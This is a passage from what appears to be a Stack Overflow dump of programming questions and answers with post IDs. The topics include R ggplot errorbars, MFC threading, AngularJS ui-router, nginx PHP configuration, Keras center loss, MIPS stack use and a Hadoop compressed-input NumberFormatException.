(first + upto) / 2; // Compute mid point. if (key&lt;sorted[mid].student_number) { upto = mid; // repeat search in bottom half. } else if (key&gt;sorted[mid].student_number) { first = mid + 1; // Repeat search in top half. } else { return mid; // Found it. return position } } return -(first + 1); // Failed to find key } </code></pre>
23991717	0	Horizontal lines in errorbars disappearing <p>I'm having some troubles with errorbars in ggplot (R) similar to <a href="http://stackoverflow.com/questions/13491829/missing-errorbars-when-using-yscalelog-at-matplotlib">this problem in Python</a>. My horizontal errobars are disappearing when using the <code>scale_y</code> function. Can you help me find a solution? The <a href="http://aeblerov.com/yeast_sac.txt" rel="nofollow">data is here</a>.</p> <p>My code is:</p> <pre><code>data_sac_ggplot &lt;- ggplot(yeast_sac, aes(x=factor(day), y=mean_count, colour=yeastsample, group=c("low","high"))) + scale_y_log10(breaks = trans_breaks("log10", function(x) 10^x), labels = trans_format("log10", math_format(10^.x))) + geom_line(size=0.8) + geom_point(size=2, shape=21, fill="white") + theme_bw() data_sac_ggplot + geom_errorbar(aes(ymin=mean_count-low, ymax=mean_count+high), width=0.1, position=pd) data_sac_ggplot + scale_y_log10(breaks=c(1000,10000,100000,1000000,10000000,100000000,1000000000)) </code></pre> <p>Thanks!</p> <p><a href="http://aeblerov.com/example_sac.png" rel="nofollow">Picture of plot:</a></p>
23051546	0	Chromecast Chrome API - senderId <p>The receiver adds a senderId to each message it receives. Is the sender aware of that id? Where can it be found? That would help greatly during development.</p>
32537172	0	 <p>At the end I went with System.JS and jspm, and I must say it absolutely solves all the problems that I was facing, and then some, flawlessly. It took me a while until I finally found out about it, but I believe this is gonna be the defacto standard for a long while so I'd encourage anyone writing a new project to just default to jspm.</p> <p>You get AMD and Common.JS and ES6 support, you don't mix your node modules and client modules (node_packages and jspm_packages), and flat dependecies... what more could you need?</p> <p>Thank you for your suggestions!</p>
20456422	0	AngularJSFilter not working <p>I am very new to Angular JS. Just started an hour back to dig into it.</p> <p>I cannot get the filter API to work on this page. I am drawing a blank .. </p> <p>I am very sorry to ask such a silly question...</p> <p>jsfiddle.net/khirthane/52hN5/</p>
14551224	0	Pass an MFC control to a thread or pass an handle? <p>I've been reading somewhere that it is safer to pass an MFC ui control to a thread as an handle rather than to pass a pointer to the control.</p> <p>Option 1 - pass a pointer to static text:</p> <pre><code>TestDialog dlg1; ::_beginthreadex(NULL, 0, &amp;tSetTextByPointer, &amp;dlg1.m_StaticText, 0, NULL); dlg1.DoModal(); UINT WINAPI tSetTextByPointer(LPVOID arg) { CStatic * pStaticText = static_cast&lt;CStatic*&gt;(arg); Sleep(3000); pStaticText-&gt;SendMessage(WM_SETTEXT, 0, (LPARAM)L"text"); return 0; } </code></pre> <p>Option 2 - pass an handle :</p> <pre><code>TestDialog dlg1; ::_beginthreadex(NULL, 0, &amp;tSetTextByHandle, &amp;(dlg1.m_StaticText.m_hWnd), 0, NULL); dlg1.DoModal(); UINT WINAPI tSetTextByHandle(LPVOID arg) { HWND * pTextHandle = static_cast&lt;HWND*&gt;(arg); Sleep(3000); ::SendMessage(*pTextHandle, WM_SETTEXT, 0, (LPARAM)L"text"); return 0; } </code></pre> <p>Should I really prefer using handles when accessing controls by multiple threads? Or is it enough to rely on SendMessage() to cover the thread-safety matter when accessing the control?</p>
13087688	0	 <p>I find the Ajax Form plugin a good tool for the job.</p> <p><a href="http://www.malsup.com/jquery/form/#tab4" rel="nofollow">http://www.malsup.com/jquery/form/#tab4</a></p> <p>A basic code example could be:</p> <pre><code>$(document).ready(function() { // On Document Ready var options = { target: '#output1', // ID of the DOM elment where you want to show the results success: showResponse }; // bind form using 'ajaxForm' $('#myForm1').ajaxForm(options); }); // the callback function function showResponse(responseText, statusText, xhr, $form) { alert('status: ' + statusText + '\n\nresponseText: \n' + responseText + '\n\nThe output div should have already been updated with the responseText.'); } </code></pre> <p>All your PHP file have to do is <code>echo</code> the <code>html</code> (or text) back that you want to show in your DIV after the form has been submitted.</p>
14656763	0	 <p>You forgot the closing <code>&gt;</code> for the <code>CDATA</code> element:</p> <pre><code>"&lt;Description&gt;&lt;![CDATA["+page+"]]&gt;&lt;/Description&gt;"+\ </code></pre>
3423517	0	 <p>There is quite a list:</p> <ol> <li><a href="http://code.google.com/p/nstub/" rel="nofollow noreferrer">NStub</a></li> <li><a href="http://sourceforge.net/projects/testgennet/" rel="nofollow noreferrer">TestGen.Net</a></li> <li><a href="http://code.google.com/p/nunitgenaddin/" rel="nofollow noreferrer">NunitGenAddIn</a></li> <li>($$)<a href="http://www.kellermansoftware.com/p-30-nunit-test-generator.aspx?mode=Specifications&amp;" rel="nofollow noreferrer">KellerMan NUnit Test Generator</a></li> <li><a href="http://research.microsoft.com/en-us/projects/pex/" rel="nofollow noreferrer">Pex</a></li> <li><a href="http://msdn.microsoft.com/en-us/library/ms182524%28v=VS.80%29.aspx" rel="nofollow noreferrer">MSTest</a> - fair enough this is not NUnit, but it does generate tests and should be "considered"</li> </ol>
18483602	0	Tomcat ClientAbortException Listener? <p>Our Tomcat 6 Server is reporting quite a few ClientAbortException errors, which I believe is down to say a user navigating away from the page before its fully loaded. We are also getting No buffer space available (maximum connections reached? errors.</p> <p>Is there a way of creating a ClientAbortException Listener to terminate any Abandoned Connection Clean Up or unused http threads and delete any byte data used for incomplete downloaded images.</p> <p>This project is inherited and I've noticed that even when running locally if I start VisualJVM and view the monitor and then open a website locally I see an Abandoned Connection Clean Up thread created and a number of http threads created. If I open another website on the same local web server I can see yet again another Abandoned Connection Clean Up thread created and another set of http threads created. If I navigate through the pages, I don't see any other connections created, mainly because the project is using database pooling but if I close the browser the threads are still running, they are not being freed up.</p> <p>Needless to say, as soon as the server has been running for a number of days or is under load the aforementioned errors are generated.</p> <p>Any help would be much appreciated :-)</p>
7604272	1	How to select some urls with BeautifulSoup? <p>I want to scrape the following information except the last row and "class="Region" row:</p> <pre><code>... &lt;td&gt;7&lt;/td&gt; &lt;td bgcolor="" align="left" style=" width:496px"&gt;&lt;a class="xnternal" href="http://www.whitecase.com"&gt;White and Case&lt;/a&gt;&lt;/td&gt; &lt;td bgcolor="" align="left"&gt;New York&lt;/td&gt; &lt;td bgcolor="" align="left" class="Region"&gt;N/A&lt;/td&gt; &lt;td bgcolor="" align="left"&gt;1,863&lt;/td&gt; &lt;td bgcolor="" align="left"&gt;565&lt;/td&gt; &lt;td bgcolor="" align="left"&gt;1,133&lt;/td&gt; &lt;td bgcolor="" align="left"&gt;$160,000&lt;/td&gt; &lt;td bgcolor="" align="center"&gt;&lt;a class="xnternal" href="/nlj250/firmDetail/7"&gt; View Profile &lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="small" bgcolor="#FFFFFF"&gt; ... </code></pre> <p>I tested with this handler:</p> <pre><code>class TestUrlOpen(webapp.RequestHandler): def get(self): soup = BeautifulSoup(urllib.urlopen("http://www.ilrg.com/nlj250/")) link_list = [] for a in soup.findAll('a',href=True): link_list.append(a["href"]) self.response.out.write("""&lt;p&gt;link_list: %s&lt;/p&gt;""" % link_list) </code></pre> <p>This works but it also get the "View Profile" link which I don't want:</p> <pre><code>link_list: [u'http://www.ilrg.com/', u'http://www.ilrg.com/', u'http://www.ilrg.com/nations/', u'http://www.ilrg.com/gov.html', ......] </code></pre> <p>I can easily remove the "u'http://www.ilrg.com/'" after scraping the site but it would be nice to have a list without it. What is the best way to do this? Thanks.</p>
26668805	0	 <p>try below code :-</p> <pre><code>listView.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { Toast.makeText(getApplicationContext(), "Click ListItem Number " + position, Toast.LENGTH_LONG) .show(); } }); </code></pre> <p>Read below link for more information :-</p> <p><a href="http://www.vogella.com/tutorials/AndroidListView/article.html" rel="nofollow">http://www.vogella.com/tutorials/AndroidListView/article.html</a></p> <p><a href="http://androidexample.com/Create_A_Simple_Listview_-_Android_Example/index.php?view=article_discription&amp;aid=65&amp;aaid=90" rel="nofollow">http://androidexample.com/Create_A_Simple_Listview_-_Android_Example/index.php?view=article_discription&amp;aid=65&amp;aaid=90</a></p>
28117005	0	How can I tail -f but only in whole lines? <p>I have a constantly updating huge log file (MainLog).</p> <p>I want to create another file which is only the last n lines of the log file BUT also updating.</p> <p>If I use:</p> <blockquote> <p>tail -f MainLog > RecentLog</p> </blockquote> <p>I get ALMOST what I want except RecentLog is written as MainLog is available and might at any point only have part of the last MainLog line.</p> <p>How can I specify to tail that I only want it to write when a WHOLE line is available?</p>
3477306	0	 <p>you left out a for(;true;) loop</p>
5958423	0	 <p>I had the same problem and resolved it by updating to the latest jQuery (1.6) and jQuery.validate (1.8) libraries. The easiest way to get these is searching NuGet for jQuery.</p>
21768410	0	 <p>Check the Optimisation Tips section in the Android Developer console for your app, it should give some suggestions for removing that tag.</p>
15605544	0	 <p>Try this :</p> <pre><code> &lt;%= f.simple_fields_for :picture do |pic| %&gt; &lt;div class="fileupload fileupload-new" data-provides="fileupload"&gt; &lt;div class="input-append"&gt; &lt;div class="uneditable-input span3"&gt; &lt;i class="icon-file fileupload-exists"&gt;&lt;/i&gt; &lt;span class="fileupload-preview"&gt;&lt;/span&gt;&lt;/div&gt; &lt;span class="btn btn-file"&gt;&lt;span class="fileupload-new"&gt;Select file&lt;/span&gt; &lt;span class="fileupload-exists"&gt;Change&lt;/span&gt; &lt;%= pic.input :image, :as =&gt; :file, :label =&gt; "upload a photo" %&gt; &lt;/span&gt; &lt;a href="#" class="btn fileupload-exists" data-dismiss="fileupload"&gt;Remove&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre> <p>Just insert <code>erb</code> into bootstrap's html.</p>
826228	0	 <p>Use JConsole-- you likely already have it: <a href="http://java.sun.com/j2se/1.5.0/docs/guide/management/jconsole.html" rel="nofollow noreferrer">http://java.sun.com/j2se/1.5.0/docs/guide/management/jconsole.html</a> <a href="http://openjdk.java.net/tools/svc/jconsole/" rel="nofollow noreferrer">http://openjdk.java.net/tools/svc/jconsole/</a></p>
38570390	0	ui-router change url after $state.go <p>I have a route:</p> <pre><code>$stateProvider.state('keeper.telepay.category', { url: '/category-{id}/country-{cid}/region-{rid}' } </code></pre> <p>In all cases when I use $state.go with this route, I want to change <strong>rid</strong> to 'all' if it's value is '0', so my url'll be like </p> <p><strong>/category-1/country-195/region-all</strong></p> <p>I've tried to do it in $rootScope.$on('$stateChangeStart'), but with no luck. Any suggestions || directions would be very appreciated.</p> <p><strong>UPDATE</strong></p> <p>Here what I've tried on $stateChange:</p> <pre><code>$rootScope.$on('$stateChangeStart', function(event, toState, toParams, fromState, fromParams){ if(toState.name == 'keeper.telepay.category' &amp;&amp; toState.params.rid == 0) { toState.params.rid = 'all'; } } </code></pre>
12094773	0	 <p>Solution was to add <strong>index index.php</strong></p> <pre><code> index index.php try_files $uri $uri/ $uri/index.php /index.php; location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } </code></pre>
20839539	0	 <p>This problem is quite simple to solve even without jQuery or similar in plain JavaScript. Here it is for your example:</p> <pre><code>var next = (function (sections) { function getTop(node) { return node ? node.offsetTop + getTop(node.offsetParent) : 0; } return function () { var i, nodeTop, top = window.pageYOffset; for (i = 0; i &lt; sections.length; i += 1) { nodeTop = getTop(document.getElementById(sections[i])); if (nodeTop &gt; top) { window.scrollTo(window.pageXOffset, nodeTop); return; } } }; }(['top', 'fe1', 'fe2', 'fe3', 'fe4', 'fe5'])); </code></pre> <p>The code is quite general, so you can pass any section ids you want (they just need to appear in the correct order).</p> <p>We use two standard DOM properties/functions here <code>window.pageYOffset</code> and <code>window.scrollTo()</code> to get and set vertical offset of the window (<code>window.pageXOffset</code> is used to keep horizontal offset the same). To get the vertical offset of the section start I defined <code>getTop</code> function using simple recursion (jQuery uses similar code IMHO).</p> <p>Resulting function <code>next()</code> is defined in a self-invoking closure to hide the implementation and helper function. To use it after this code is run, you simply call</p> <pre><code>next(); </code></pre> <p>I tested this code, so I am quite confident it works :).</p>
40173892	0	Center Loss in Keras <p>I want to implement center Loss explained in [<a href="http://ydwen.github.io/papers/WenECCV16.pdf]" rel="nofollow">http://ydwen.github.io/papers/WenECCV16.pdf]</a> in Keras</p> <p>I started to create a network with 2 outputs such as : </p> <pre><code>inputs = Input(shape=(100,100,3)) ... fc = Dense(100)(#previousLayer#) softmax = Softmax(fc) model = Model(input, output=[softmax, fc]) model.compile(optimizer='sgd', loss=['categorical_crossentropy', 'center_loss'], metrics=['accuracy'], loss_weights=[1., 0.2]) </code></pre> <p>First of all, doing like this, is it the good way to proceed? </p> <p>Secondly, I don't know how to implement the center_loss in keras. Center_loss looks like mean square error but instead of comparing values to fixed labels, it compares values to data updated at each iteration. </p> <p>Thank you for your help</p>
34796071	0	Removing multiple objects on Fabric.js canvas <p>Struggling to remove multiple objects from the fabric canvas. Everything seems to be in working order but when the code runs it does not remove the multiple selected objects from the canvas. </p> <pre><code> service.deleteSelectedObject = function () { var selectedObject = service.canvas.getActiveObject(); var selectedMultipleObjects = service.canvas.getActiveGroup(); var data = {}; // get object id // get selected objects from canvas if (selectedObject) { data = { type: 'whiteboard::delete', id: selectedObject.id }; delete service.objectMap[selectedObject.id]; service.canvas.remove(selectedObject); } else { data = { type: 'whiteboard::delete', object: selectedMultipleObjects }; console.log(selectedMultipleObjects); selectedMultipleObjects._objects.forEach(function (object, key) { console.log(object); service.canvas.remove(object); }); } signalService.sendMessage(service.recipient, data); }; </code></pre> <p>I should point out that all of these console logs do pass what they should. As well as the problem is occuring in the else statement the first part of this code works how it should </p> <p>please let me know if you need any further information. </p>
30085380	0	 <p>Extensions have much lower memory limits than normal apps. You'll have to investigate why you extension is using so much memory. Perhaps there's a leak. </p>
40490111	0	 <p>Add <code>global next_page</code> to the beginning of function <code>getPosts()</code> instead of pass the parameter into it, so that you update the value of global variable <code>next_page</code> . And declare the global variable next_page as a str <code>''</code> instead of list<code>[]</code>.</p>
39789717	0	 <p>You can access logs from CLI using <code>yarn logs -applicationId &lt;application ID&gt;</code></p>
19823386	0	Cant push to stack, mips <p>I am just trying to print this 'a' to screen, but by first pushing to stack so that I can check whether I did accomplish on pushing to stack or not, seems that I couldn't because it prints a weird character everytime. What's wrong?</p> <pre><code>.data char: .word 'a' .text .globl main main: la $t0, char sub $sp, $sp, 4 #allocate byte for stack sb $t0, 0($sp) #push to stack la $t1, 0($sp) #I wasnt able to print the top of the stack directly so I tried this li $v0, 11 la $a0, 0($t1) #It isnt working anyway.. Prints É syscall add $sp, $sp, 4 jr $ra </code></pre>
35683626	0	Make banner ads responsive <p>Friends! I am working on adding banner ads to my website, the html that I have added to display banner is on <a href="https://jsfiddle.net/1r1kydjz/2/" rel="nofollow">https://jsfiddle.net/1r1kydjz/2/</a></p> <pre><code>&lt;div data-wrid="WRID-145664652759935473" data-widgettype="staticBanner" data-responsive="yes" data-class="affiliateAdsByFlipkart" height="90" width="728" style="text-align:center;"&gt;&lt;/div&gt; &lt;script async src="//affiliate.flipkart.com/affiliate/widgets/FKAffiliateWidgets.js"&gt;&lt;/script&gt; </code></pre> <p>The problem that I am facing is that my banner ads are not responsive, I want them to adjust according to the device i.e mobile, desktops and tablet.</p> <p>I have tried width: 100% and other things mentioned, but it doesn't help.</p> <p>Please note that the banner ad is inside a dynamically created iframe.</p> <p>Please let me know if any post that I can refer to.</p> <p>Thanks in advance.</p>
24972989	0	 <p>As mentioned by @SirDarius, this is implementation dependent and therefore you would need to check on a per implementation basis.</p> <p><em>Usually</em>, <code>std::set</code> is implemented as a red-black tree with lean iterators. This means that for each element in the set, there is <em>one node</em>, and this node roughly contains:</p> <ul> <li>3 pointers: 1 for the parent node, 1 for the left-side child and one for the right-side child</li> <li>a tag: red or black</li> <li>the actual user type</li> </ul> <p>The minimal foot-print of such a node on a 64 bits platform is therefore <code>footprint(node)</code>:</p> <ul> <li>3*8 bytes</li> <li><code>sizeof(MyClass)</code>, rounded to 8 bytes (for alignment reasons: look up "struct padding")</li> </ul> <p><em>Note: it is easy to use an unused bit somewhere to stash the red/black flag at no additional cost, for example taking into account the fact that given node alignments the least-significant bits of the pointers are always <code>0</code>, or inserting in <code>MyClass</code> padding if any.</em></p> <p><em>However</em>, when you allocate an object <code>T</code> via <code>new</code> (which is what <code>std::allocator</code> does under the hood, and which itself uses <code>malloc</code> unless overloaded), you do not allocate <em>just</em> <code>sizeof(T)</code> bytes:</p> <ul> <li>a typical implementation of <code>malloc</code> uses <em>size buckets</em>, meaning that if you have 8 bytes buckets and 16 bytes buckets when you allocate a 9 bytes object it goes into a 16 bytes bucket (wasting 7 bytes)</li> <li>furthermore, the implementation also has some overhead to <em>track</em> those allocated blocks of memory (to know not to reuse that memory until it's freed); though minimal, the overhead can be non-negligible</li> <li>finally, the OS itself has some overhead for each page of memory that the program requests; although that is probably negligible</li> </ul> <p>Therefore, indeed, the use of a <code>set</code> will most likely consume <em>more</em> than just <code>set.size() * sizeof(MyClass)</code>, though the overhead depends on your Standard Library implementation. This overhead will likely be large for small objects (such as <code>int32_t</code>: on a 64-bits platform you are looking at least at a +500% overhead) because the cost of linking the nodes together is usually fixed, whereas for large objects it might not be noticeable.</p> <hr> <p>In order to reduce the overhead, you traditionally use <em>arrays</em>. This is what a B-Tree does for example, though it does so at the cost of <em>stability</em> (ie, each element staying at a fixed memory address regardless of what happens to the others).</p>
24401674	0	Running hadoop with compressed files as input. Data Input read by hadoop not in sequence. Number format exception <p>I giving a tar.bz2 file ,.gz and tar.gz files as input after changing the properties in mapred-site.xml. None of the above seem to have worked. What I assumed to happen here is the records read as input by hadoop go out of sequence ie. one column of input is string and the other is an integer but while reading it from the compressed file because of some out of sequence data, at some point hadoop reads the string part as an integer and generates an illegal format exception. I'm just a noob. I want to know whether there is a problem in the configuration or my code. </p> <p>The properties in core-site.xml are</p> <pre><code>&lt;property&gt; &lt;name&gt;io.compression.codecs&lt;/name&gt; &lt;value&gt;org.apache.hadoop.io.compress.BZip2Codec,org.apache.hadoop.io.compress.DefaultCodec,org.apache.hadoop.io.compress.GzipCodec,org.apac\ he.hadoop.io.compress.SnappyCodec&lt;/value&gt; &lt;description&gt;A list of the compression codec classes that can be used for compression/decompression.&lt;/description&gt; &lt;/property&gt; </code></pre> <p>properties in mapred-site.xml are</p> <pre><code>&lt;property&gt; &lt;name&gt;mapred.compress.map.output&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapred.map.output.compression.codec&lt;/name&gt; &lt;value&gt;org.apache.hadoop.io.compress.BZip2Codec&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapred.output.compression.type&lt;/name&gt; &lt;value&gt;BLOCK&lt;/value&gt; &lt;/property&gt; </code></pre> <p>This is my Code</p> <pre><code>package org.myorg; import java.io.IOException; import java.util.*; import org.apache.hadoop.util.NativeCodeLoader; import org.apache.hadoop.fs.Path; import org.apache.hadoop.conf.*; import org.apache.hadoop.io.compress.CompressionCodec; import org.apache.hadoop.io.compress.CompressionInputStream; import org.apache.hadoop.io.compress.CompressionOutputStream; import org.apache.hadoop.io.compress.Decompressor; import org.apache.hadoop.io.*; import org.apache.hadoop.mapreduce.*; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.input.TextInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat; import org.apache.hadoop.io.compress.GzipCodec; import org.apache.hadoop.io.compress.*; import org.apache.hadoop.io.compress.BZip2Codec; public class MySort{ public static class Map extends Mapper&lt;LongWritable, Text, Text, IntWritable&gt; { private final static IntWritable Marks = new IntWritable(); private Text name = new Text(); String one,two; int num; public void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { String line = value.toString(); StringTokenizer tokenizer = new StringTokenizer(line); while (tokenizer.hasMoreTokens()) { one=tokenizer.nextToken(); name.set(one); if(tokenizer.hasMoreTokens()) two=tokenizer.nextToken(); num=Integer.parseInt(two); Marks.set(num); context.write(name, Marks); } } } public static class Reduce extends Reducer&lt;Text, IntWritable, Text, IntWritable&gt; { public void reduce(Text key, Iterable&lt;IntWritable&gt; values, Context context) throws IOException, InterruptedException { int sum = 0; for (IntWritable val : values) { sum += val.get(); } context.write(key, new IntWritable(sum)); } } public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); // conf.set("mapreduce.job.inputformat.class", "com.wizecommerce.utils.mapred.TextInputFormat"); // conf.set("mapreduce.job.outputformat.class", "com.wizecommerce.utils.mapred.TextOutputFormat"); // conf.setBoolean("mapreduce.map.output.compress",true); conf.setBoolean("mapred.output.compress",true); //conf.setBoolean("mapreduce.output.fileoutputformat.compress",false); //conf.setBoolean("mapreduce.map.output.compress",true); conf.set("mapred.output.compression.type", "BLOCK"); //conf.setClass("mapreduce.map.output.compress.codec", BZip2Codec.class, CompressionCodec.class); // conf.setClass("mapred.map.output.compression.codec", GzipCodec.class, CompressionCodec.class); conf.setClass("mapred.map.output.compression.codec", BZip2Codec.class, CompressionCodec.class); Job job = new Job(conf, "mysort"); job.setJarByClass(org.myorg.MySort.class); job.setJobName("mysort"); job.setOutputKeyClass(Text.class); job.setOutputValueClass(IntWritable.class); job.setMapperClass(Map.class); job.setReducerClass(Reduce.class); job.setInputFormatClass(TextInputFormat.class); job.setOutputFormatClass(TextOutputFormat.class); // FileInputFormat.setCompressInput(job,true); FileOutputFormat.setCompressOutput(job, true); //FileOutputFormat.setOutputCompressorClass(job, GzipCodec.class); // conf.set("mapred.output.compression.type", CompressionType.BLOCK.toString()); FileOutputFormat.setOutputCompressorClass(job, BZip2Codec.class); FileInputFormat.addInputPath(job, new Path(args[0])); FileOutputFormat.setOutputPath(job, new Path(args[1])); job.waitForCompletion(true); } } </code></pre> <p>These are all commandsput together in a makefile</p> <pre><code>run: all -sudo ./a.out sudo chmod 777 -R Data -sudo rm data.tar.bz2 sudo tar -cvjf data.tar.bz2 Data/data.txt sudo javac -classpath /home/hduser/12115_Select_Query/hadoop-core-1.1.2.jar -d mysort MySort.java sudo jar -cvf mysort.jar -C mysort/ . -hadoop fs -rmr MySort/output -hadoop fs -rmr MySort/input hadoop fs -mkdir MySort/input hadoop fs -put data.tar.bz2 MySort/input hadoop jar mysort.jar org.myorg.MySort MySort/input/ MySort/output -sudo rm /home/hduser/Out/sort.txt hadoop fs -copyToLocal MySort/output/part-r-00000 /home/hduser/Out/sort.txt sudo gedit /home/hduser/Out/sort.txt all: rdata.c -sudo rm a.out -gcc rdata.c -o a.out exec: run .PHONY: exec run </code></pre> <p>Command:</p> <pre><code>hadoop jar mysort.jar org.myorg.MySort MySort/input/ MySort/output </code></pre> <p>Here is the output:</p> <pre><code>Java HotSpot(TM) 64-Bit Server VM warning: You have loaded library /usr/local/hadoop/lib/native/libhadoop.so.1.0.0 which might have disabled stack guard. The VM will try to fix the stack guard now. It's highly recommended that you fix the library with 'execstack -c &lt;libfile&gt;', or link it with '-z noexecstack'. 14/06/25 11:20:28 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 14/06/25 11:20:28 INFO client.RMProxy: Connecting to ResourceManager at /0.0.0.0:8032 14/06/25 11:20:29 WARN mapreduce.JobSubmitter: Hadoop command-line option parsing not performed. Implement the Tool interface and execute your application with ToolRunner to remedy this. 14/06/25 11:20:29 INFO input.FileInputFormat: Total input paths to process : 1 14/06/25 11:20:29 INFO mapreduce.JobSubmitter: number of splits:1 14/06/25 11:20:29 INFO Configuration.deprecation: mapred.output.compress is deprecated. Instead, use mapreduce.output.fileoutputformat.compress 14/06/25 11:20:29 INFO Configuration.deprecation: mapred.map.output.compression.codec is deprecated. Instead, use mapreduce.map.output.compress.codec 14/06/25 11:20:29 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1403675322820_0001 14/06/25 11:20:30 INFO impl.YarnClientImpl: Submitted application application_1403675322820_0001 14/06/25 11:20:30 INFO mapreduce.Job: The url to track the job: http://localhost:8088/proxy/application_1403675322820_0001/ 14/06/25 11:20:30 INFO mapreduce.Job: Running job: job_1403675322820_0001 14/06/25 11:20:52 INFO mapreduce.Job: Job job_1403675322820_0001 running in uber mode : false 14/06/25 11:20:52 INFO mapreduce.Job: map 0% reduce 0% 14/06/25 11:21:10 INFO mapreduce.Job: Task Id : attempt_1403675322820_0001_m_000000_0, Status : FAILED Error: java.lang.NumberFormatException: For input string: "0ustar" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:580) at java.lang.Integer.parseInt(Integer.java:615) at org.myorg.MySort$Map.map(MySort.java:36) at org.myorg.MySort$Map.map(MySort.java:23) at org.apache.hadoop.mapreduce.Mapper.run(Mapper.java:145) at org.apache.hadoop.mapred.MapTask.runNewMapper(MapTask.java:764) at org.apache.hadoop.mapred.MapTask.run(MapTask.java:340) at org.apache.hadoop.mapred.YarnChild$2.run(YarnChild.java:168) at java.security.AccessController.doPrivileged(Native Method) at javax.security.auth.Subject.doAs(Subject.java:422) at org.apache.hadoop.security.UserGroupInformation.doAs(UserGroupInformation.java:1548) at org.apache.hadoop.mapred.YarnChild.main(YarnChild.java:163) 14/06/25 11:21:29 INFO mapreduce.Job: Task Id : attempt_1403675322820_0001_m_000000_1, Status : FAILED Error: java.lang.NumberFormatException: For input string: "0ustar" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:580) at java.lang.Integer.parseInt(Integer.java:615) at org.myorg.MySort$Map.map(MySort.java:36) at org.myorg.MySort$Map.map(MySort.java:23) at org.apache.hadoop.mapreduce.Mapper.run(Mapper.java:145) at org.apache.hadoop.mapred.MapTask.runNewMapper(MapTask.java:764) at org.apache.hadoop.mapred.MapTask.run(MapTask.java:340) at org.apache.hadoop.mapred.YarnChild$2.run(YarnChild.java:168) at java.security.AccessController.doPrivileged(Native Method) at javax.security.auth.Subject.doAs(Subject.java:422) at org.apache.hadoop.security.UserGroupInformation.doAs(UserGroupInformation.java:1548) at org.apache.hadoop.mapred.YarnChild.main(YarnChild.java:163) 14/06/25 11:21:49 INFO mapreduce.Job: Task Id : attempt_1403675322820_0001_m_000000_2, Status : FAILED Error: java.lang.NumberFormatException: For input string: "0ustar" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:580) at java.lang.Integer.parseInt(Integer.java:615) at org.myorg.MySort$Map.map(MySort.java:36) at org.myorg.MySort$Map.map(MySort.java:23) at org.apache.hadoop.mapreduce.Mapper.run(Mapper.java:145) at org.apache.hadoop.mapred.MapTask.runNewMapper(MapTask.java:764) at org.apache.hadoop.mapred.MapTask.run(MapTask.java:340) at org.apache.hadoop.mapred.YarnChild$2.run(YarnChild.java:168) at java.security.AccessController.doPrivileged(Native Method) at javax.security.auth.Subject.doAs(Subject.java:422) at org.apache.hadoop.security.UserGroupInformation.doAs(UserGroupInformation.java:1548) at org.apache.hadoop.mapred.YarnChild.main(YarnChild.java:163) 14/06/25 11:22:10 INFO mapreduce.Job: map 100% reduce 100% 14/06/25 11:22:10 INFO mapreduce.Job: Job job_1403675322820_0001 failed with state FAILED due to: Task failed task_1403675322820_0001_m_000000 Job failed as tasks failed. failedMaps:1 failedReduces:0 14/06/25 11:22:10 INFO mapreduce.Job: Counters: 9 Job Counters Failed map tasks=4 Launched map tasks=4 Other local map tasks=3 Data-local map tasks=1 Total time spent by all maps in occupied slots (ms)=69797 Total time spent by all reduces in occupied slots (ms)=0 Total time spent by all map tasks (ms)=69797 Total vcore-seconds taken by all map tasks=69797 Total megabyte-seconds taken by all map tasks=71472128 </code></pre> <p>I have also tried using this:</p> <pre><code>hadoop jar /usr/local/hadoop/share/hadoop/tools/lib/hadoop-streaming-2.3.0.jar -Dmapred.output.compress=true -Dmapred.compress.map.output=true -Dmapred.output.compression.codec=org.apache.hadoop.io.compress.BZip2Codec -Dmapred.reduce.tasks=0 -input MySort/input/data.txt -output MySort/zip1 </code></pre> <p>It is successfull in creating compressed files</p> <pre><code>hadoop fs -ls MySort/zip1 Found 3 items -rw-r--r-- 1 hduser supergroup 0 2014-06-25 10:43 MySort/zip1/_SUCCESS -rw-r--r-- 1 hduser supergroup 42488018 2014-06-25 10:43 MySort/zip1/part-00000.bz2 -rw-r--r-- 1 hduser supergroup 42504084 2014-06-25 10:43 MySort/zip1/part-00001.bz2 </code></pre> <p>and then running this:</p> <pre><code>hadoop jar mysort.jar org.myorg.MySort MySort/input/ MySort/zip1 </code></pre> <p>It still doesn't work . Is there something that I am missing here.</p> <p>It works fine when I run it without using compressed file bz2 and directly passing it the text file Data/data.txt i.e uploading it to MySort/input in hdfs (hadoop fs -put Data/data.txt MySort/input).</p> <p>Any help is Appreciated</p>
